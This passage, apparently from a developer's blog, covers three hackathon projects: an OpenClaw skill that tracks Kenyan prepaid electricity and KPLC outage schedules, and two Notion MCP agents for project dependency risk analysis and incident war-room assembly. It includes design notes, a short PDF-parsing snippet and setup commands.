                    └──────┬───────┘  │  SQLite   │  │ KPLC PDF │
                           │          │ (local)   │  │ (remote) │
                    ┌──────▼──────┐   └───────────┘  └──────────┘
                    │ sentinel.py │
                    │ (alerts)    │
                    └─────────────┘

All data stays local. The only outbound network call is to download KPLC's maintenance PDF from their public website.

How I Used OpenClaw

KPLC Sentinel is published on ClawHub. Install it with clawhub install kplc-sentinel.

The agent is the brain, the scripts are the data layer. This is the core design decision. The Python entrypoint returns structured JSON, not formatted text. The agent reads the data, applies the Stima persona from SOUL.md, and composes a natural response. The skill never prints a user-facing message. It returns things like {"action": "balance", "runway_hours": 18.0, "estimate_source": "appliances", "tip": "avoid running the water heater"} and the agent turns that into "Stima yako iko na roughly 18 hours. That's tight — avoid running the water heater to stretch your units."

This matters because it means the personality, tone, and language all come from the agent, not hardcoded strings. The same JSON data could be presented differently depending on the SOUL.md persona, the user's language preference, or the chat platform.

Natural language in three languages. The SKILL.md routing table maps natural language to commands. Users can say "stima itaisha lini?" (Sheng), "nimebakisha units ngapi?" (Swahili), or "will my power last until Monday?" (English) and the agent routes all three to the balance check. No translation code in Python. The agent handles it because SKILL.md tells it how to map intent to commands.

SKILL.md routing. The frontmatter and markdown body tell the LLM when to activate this skill. I rewrote the trigger section multiple times. The first version was too broad, catching messages like "what's your power move?" and trying to record them as meter readings. The final version requires the stima prefix for direct commands, auto-detects forwarded KPLC SMS by their distinct Token: / Units: format, and maps natural language about electricity to the right command.

HEARTBEAT.md scheduling. Every 6 hours, the agent checks the burn rate against the current balance. If there's less than 24 hours of power left, it sends a warning. It also checks for planned outages and budget status. Weekly on Monday, it sends a consumption summary with week-over-week comparisons and day-of-week patterns. All of this happens without the user asking.

Appliance-based estimates from day one. During onboarding, the skill asks what appliances you have. It maps each one to realistic consumption using a (wattage × typical hours per day) model. A fridge is 150W × 24h. A water heater is 3000W × 5 minutes. An iron is 1000W × 10 minutes. This means the skill can predict how long your tokens will last before you've ever taken a meter reading. As real readings come in, the actual burn rate takes over.

Outage reminders. When the skill detects a planned outage in your area, the agent sets a reminder for the evening before (around 8 PM) so you can charge your devices and plan ahead. The outage data includes ISO dates so the agent can calculate the reminder timing.

M-Pesa top-up instructions. When your balance is low, the agent doesn't just warn you. It tells you exactly how to buy more tokens: M-Pesa Paybill 888880, account number = your meter number, and asks you to forward the confirmation SMS back so it can track the purchase.

Multi-skill composability. Because the skill returns structured JSON, other OpenClaw skills can act on the data. A calendar skill could create events for planned outages. A payments skill could initiate M-Pesa top-ups when balance is critical. The skill doesn't need to know about these. The agent orchestrates.

Household onboarding. On first use, the skill asks how many people live in the house, what area they live in, and what appliances they have. The area is used to match against KPLC's outage schedule. The appliance list powers both consumption estimates and contextual tips when balance is low.

Budget tracking. Users set a monthly electricity budget (stima budget 3000). The skill tracks spending against it and warns at 80% and 100% thresholds.

Usage insights. The skill compares this week's consumption against last week and identifies which days of the week are heaviest. Turns raw data into something actionable.

PDF scraping for outage alerts. The skill downloads KPLC's Power Maintenance Notice PDF directly from their website, splits the two-column layout, and regex-parses all scheduled outages with areas, dates, and times. It then matches against the user's area. The PDF is cached for 1 hour to avoid hammering KPLC's server.

pdf_path = os.path.join(tempfile.gettempdir(), "kplc_schedule.pdf")                                                                                 
  urllib.request.urlretrieve(KPLC_SCHEDULE_URL, pdf_path)                                                                                             

  with pdfplumber.open(pdf_path) as pdf:                                                                                                              
      for page in pdf.pages:                                                                                                                          
          # Split two-column layout into left and right halves                                                                                        
          left = page.crop((0, 0, page.width / 2, page.height)).extract_text()                                                                        
          right = page.crop((page.width / 2, 0, page.width, page.height)).extract_text()                                                              

          # Regex-parse AREA, DATE, TIME from each column                                                                                             
          for text in [left, right]:                                                                                                                  
              for area, date, time in re.findall(                                                                                                     
                  r'AREA:\s*(.+?)\n.*?DATE:\s*(.+?)\s*TIME:\s*(.+?)[\n\r]',                                                                           
                  text, re.IGNORECASE                                                                                                                 
              ):                                                                                                                                      
                  if user_area.lower() in area.lower():                                                                                               
                      alerts.append({"area": area, "date": date, "time": time})

Sheng personality via SOUL.md. The agent persona ("Stima") speaks casual English with Kenyan Sheng/Swahili flavor. But the personality lives in SOUL.md, not in the Python code. The scripts return data; the agent adds the flavor. This is how OpenClaw skills should work.

Local SQLite storage. All data stays on the user's machine. No cloud sync, no external API beyond the LLM provider. The database auto-initializes on first message with owner-only file permissions.

Security hardening. Parameterized SQL everywhere. User input via stdin heredoc (no shell injection). Profile values sanitized before display (no chat injection). DB error messages don't leak internals. Input length capped. Outbound requests locked to kplc.co.ke HTTPS only.

Demo

Explore KPLC Sentinel on ClawHub

YOUTUBE

Try it yourself

If you have OpenClaw running, install the skill in one command:

clawhub install kplc-sentinel
pip install pdfplumber

If you're starting from scratch:

npm install -g openclaw@latest
openclaw onboard                              # set up your LLM API key
openclaw channels login --channel whatsapp    # scan QR with your phone
clawhub install kplc-sentinel                 # install the skill
pip install pdfplumber                        # for outage PDF parsing
openclaw gateway                              # start the agent

For Telegram instead of WhatsApp:

openclaw channels add --channel telegram --token <your-bot-token>

Message your agent and say stima hi to start onboarding.

What I Learned

The biggest lesson: the agent should be the brain, not the messenger. My first version had the Python script printing fully formatted responses with emoji and Sheng phrases. The agent just parroted them. It worked, but it was a chatbot wearing an OpenClaw costume. The refactor to JSON output changed everything. Now the scripts return data, the agent applies the SOUL persona, and the same skill could work with a different personality or language without touching a line of Python.

SKILL.md routing instructions matter more than the code. If the LLM doesn't know when to activate your skill, the code never runs. I rewrote the trigger section multiple times before the agent reliably caught KPLC messages without false-triggering on unrelated ones. Adding natural language examples in Swahili and Sheng to the routing table was the last iteration, and it made the skill feel native rather than command-driven.

HEARTBEAT.md is what separates a chatbot from an agent. The skill went from "useful when you remember to check" to "warns you before you run out of power at 3 AM." That shift happened with 11 lines of plain English scheduling.

Parsing the KPLC maintenance PDF was harder than expected. The document uses a two-column layout, so extracting text normally merges the columns into garbage. Splitting each page into left and right halves before extraction fixed it. The date formatting is also inconsistent across entries, which broke the parser until I made it case-insensitive.

The appliance-based estimation model needed real-world thinking. My first version assigned flat kWh/day values to each appliance. A water heater got 4 kWh/day. But nobody runs a water heater all day. It runs for 5 minutes. The fix was switching to (wattage × typical hours per day): 3000W × 0.08h = 0.24 kWh/day. That one change made the estimates actually match what Kenyan households experience.

The Sheng personality makes a real difference. Early versions responded in plain English and felt like a utility. Adding "Sawa! Token imeingia" and "Stima yako iko na roughly 14 hours" made testers actually enjoy using it. But moving the personality from Python strings to SOUL.md was the right call. The agent should own the voice.

Local storage was the right call. Electricity usage data is personal, and Kenyan households shouldn't need to send consumption patterns to a cloud service to get a "you're running low" alert.

Security caught me early. The first version told the agent to run python3 entrypoint.py "<user message>", which meant shell metacharacters in a message could execute arbitrary commands. The fix was switching to stdin heredoc. User input never touches the shell interpreter.

ClawCon Michigan

No did not attend

Building a Project Risk Engine on Top of Notion MCP

Lewis Sawe — Sun, 29 Mar 2026 22:21:31 +0000

This is a submission for the Notion MCP Challenge

What I Built

Risk Radar reads your Notion project databases, builds a dependency graph in memory, and writes risk reports back to Notion. It finds critical paths, single points of failure, and cascade risks that project managers usually track in their heads (or don't track at all).

The part I'm most proud of: when a task is overdue, the agent walks the dependency graph and pushes every downstream deadline forward through notion-update-page. Mark one task late, run the scan, and watch 8 dates shift in Notion automatically.

Everything goes through Notion's MCP server. No direct API calls. Notion is the entire data layer.

Video Demo

Show us the code

lewisawe / risk-radar

🎯 Risk Radar — Dependency & Risk Intelligence for Notion

Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.

The Problem

Project managers track risks mentally but never systematically. When a task slips, nobody knows which 8 downstream tasks just broke their deadlines. Single points of failure hide in plain sight — one person quietly blocking an entire workstream. By the time anyone notices, the cascade has already happened.

The Solution

Risk Radar reads your Notion project databases, builds a dependency graph, and surfaces risks that humans miss. It writes actionable risk reports back to Notion and automatically propagates deadline changes through the dependency chain.

Mark one task late → watch 8 downstream dates shift automatically.

Everything runs through the Model Context Protocol (MCP) — zero direct Notion API calls.

How It Works

Read — Fetches all projects and tasks from Notion via MCP, including dependency…

View on GitHub

How I Used Notion MCP

Reading a dependency graph through MCP

The Tasks database has a self-referencing "Depends On" relation. Reading this through MCP takes three steps per task: fetch the database to get the data source URL, search to get page IDs, then fetch each page individually to get its properties.

The properties come back inside a <properties> XML block as JSON. Relation fields like "Depends On" and "Project" are arrays of Notion page URLs. So building the graph means parsing URLs like https://www.notion.so/abc123def456, stripping the prefix and dashes, and using the normalized ID as the graph node key. Without that normalization step, every dependency lookup fails silently and you get an empty graph. That bug cost me an hour.

The graph algorithms

Once the tasks are in memory with their dependencies resolved to names, the risk engine runs four analyses:

Critical path uses DFS with memoization from root tasks (tasks with no upstream dependencies). It finds the longest chain through the dependency graph. This tells you which sequence of tasks has zero slack — if any of them slip, the project end date moves.

Single point of failure detection does a recursive downstream traversal per task owner. If one person's incomplete tasks collectively block two or more downstream tasks, they're flagged. This catches the scenario where one engineer is quietly blocking an entire workstream.

At-risk detection is simpler: compare each task's deadline to today. Overdue tasks, tasks due within 3 days that haven't started, and tasks due tomorrow that are still in progress all get flagged.

Cascade impact runs BFS from each at-risk task to enumerate every downstream task that would be affected by a slip.

The risk score combines these: overdue_ratio × 40 + spof_penalty (capped at 30) + cascade_penalty (capped at 30). It's a rough heuristic, but it produces scores that feel right. A project with one overdue task and no dependencies scores low. A project with an overdue task that blocks 5 others through a single owner scores high.

Writing reports and cascading deadlines

The risk report is a Markdown page created with notion-create-pages. It includes the risk score with an emoji indicator (🔴/🟡/🟢), the critical path, at-risk tasks with reasons, SPOFs with the tasks they're blocking, and cascade impact chains. A separate Health History entry logs the score with a date for trend tracking.

The cascade feature is the most interesting MCP interaction. When the scan finds an overdue task, it calculates the slip in days, then does a BFS through the dependency graph. For each downstream task that isn't done, it calls notion-update-page with the new deadline using the "date:Deadline:start" property format. A 5-task cascade means 5 sequential MCP update calls. Each one shifts a real deadline in Notion.

What surprised me about Notion MCP

The notion-search results don't include full properties. You get page IDs and titles, but to read "Depends On" or "Deadline" you need a separate notion-fetch per page. For 8 tasks across 3 projects, that's about 25 MCP calls just to read the data. It works, but it means the agent is I/O bound rather than compute bound. The graph algorithms themselves run in microseconds. The MCP calls take seconds.

The other surprise was date properties. Setting a date requires two properties: "date:Deadline:start" for the value and "date:Deadline:is_datetime": 0 to indicate it's a date-only field. Missing the second one doesn't error, but the date renders differently in Notion.

I Built an Agent That Assembles Incident War Rooms in Notion Through MCP

Lewis Sawe — Sun, 29 Mar 2026 21:48:42 +0000

This is a submission for the Notion MCP Challenge

What I Built

Incident Runbook is an agent that turns Notion into a living incident response system. It watches an Incidents database, and when a new SEV1 or SEV2 appears, it cross-references three other databases (Services, Runbooks, On-Call), assembles a War Room page with everything the responder needs, and writes it back to Notion. When the incident is marked resolved, it generates an AI post-mortem with Gemini 2.5 Flash.

The whole thing runs through Notion's MCP server. No REST calls, no webhooks, no middleware layer.

I built this because incident response at most companies is still a manual scramble. The runbook exists somewhere, the on-call schedule is in a different tool, and the service dependency map is in someone's head. This agent pulls all of that together in seconds.

Video Demo

Show us the code

lewisawe / incident-runbook

🚨 Incident Runbook — AI-Powered Incident Response for Notion

Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.

The Problem

When a SEV1 hits at 2am, engineers scramble: "Where's the runbook? Who's on-call? What depends on this service?" They're copy-pasting from scattered docs, pinging Slack, and losing precious minutes. Incident response shouldn't require tribal knowledge — it should be automated.

The Solution

Incident Runbook turns your Notion workspace into a living incident response system. Log an incident → a full war room assembles itself in seconds.

It connects to Notion entirely through the Model Context Protocol (MCP) — reading databases, assembling pages, and writing post-mortems without a single direct API call.

How It Works

Detect — Scans your Incidents database for new SEV1/SEV2/SEV3 entries
Lookup — Finds the affected service, pulls its runbook, maps dependencies
Assemble — Creates a War Room page with
- Incident details and…

View on GitHub

How I Used Notion MCP

The four-database pattern

The agent coordinates across four Notion databases in a single scan: Incidents, Services, Runbooks, and On-Call. Each scan starts with notion-search on the Incidents database to find new or resolved entries. For each incident, it follows the "Affected Service" relation to the Services database, then follows the "Runbook" relation from that service to the Runbooks database, and pulls contacts from the On-Call database filtered by role.

This means a single incident triggers reads across all four databases. The MCP call pattern looks like:

notion-fetch on the database ID to get the collection:// data source URL
notion-search with that URL to get page IDs
notion-fetch on each page to get properties and content

For a scan with 1 incident, 3 services, 2 runbooks, and 4 on-call contacts, that's roughly 20 MCP calls. Chatty, but each call is fast and the total scan takes a few seconds.

Relation resolution was the trickiest part

Notion MCP returns relation properties as arrays of page URLs, not IDs. So an incident's "Affected Service" looks like ["https://www.notion.so/abc123def456"] rather than a clean ID. Matching that to the actual service record means parsing the URL, stripping dashes, and normalizing to a consistent format across all four databases.

I spent more time debugging ID mismatches than writing the actual war room assembly. Services fetched from the database had IDs in one format, while the relation URLs from incidents had them in another. The fix was normalizing everything to dashless hex strings on read.

Writing Markdown back to Notion

The war room page is a single Markdown string that Notion renders natively. It includes a details table, on-call contacts list, the full runbook steps, dependent services, a timeline, and an action checklist with checkboxes. Creating it is one notion-create-pages call with the incident page as the parent.

The post-mortem works the same way. The agent calculates MTTR from the incident creation time to resolution, feeds the incident details and timeline to Gemini 2.5 Flash, and writes the AI output into a new page.

Watch mode and connection reuse

The agent has a watch mode that polls every 30 seconds. An early version spawned a new mcp-remote process on every poll cycle, which ate system resources fast. The fix was extracting the scan logic into a function that accepts an existing MCP client, so watch creates one connection and reuses it across all cycles.

What I'd do differently

The property parsing is fragile. Properties come back inside a <properties> XML block as JSON, and the key names are case-sensitive and sometimes inconsistent (I found both "status" and "Status" depending on how the database was configured). A more robust version would normalize property keys on read. But for a hackathon, regex and case-checking got the job done